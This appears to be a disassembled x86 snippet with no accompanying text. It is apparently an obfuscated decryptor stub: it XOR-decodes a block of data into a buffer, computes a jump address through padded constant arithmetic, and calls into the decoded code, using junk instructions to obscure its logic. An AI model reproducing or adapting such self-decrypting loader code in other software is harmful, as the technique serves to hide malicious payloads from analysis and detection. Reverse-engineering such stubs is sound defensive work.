mov ecx, 0x49ab
xor edx, edx
add edx, eax
mov edi, 0x10049800
add edi, dword [ebp - 0x18]
mov esi, 0xbf6eef0b
add esi, 0x5f26891c
sub dword [ebp - 0x14], esi
mov ebx, dword [edi]
mov dword [ebp - 0x10], 0x9563ca79
xor ebx, esi
xor dword [ebp - 8], edi
mov dword [edx], ebx
add dword [ebp - 4], eax
add edx, 4
add edi, 4
loop 0x10023599
add eax, 0xa84748f1
add eax, 0x57b9d08e
mov ebx, eax
add eax, 0x635a6413
add eax, 0x9ca59bf2
mov ecx, 0x70878d95
sub ecx, 0x60878d95
add ecx, dword [ebp - 0x18]
call ebx
leave
ret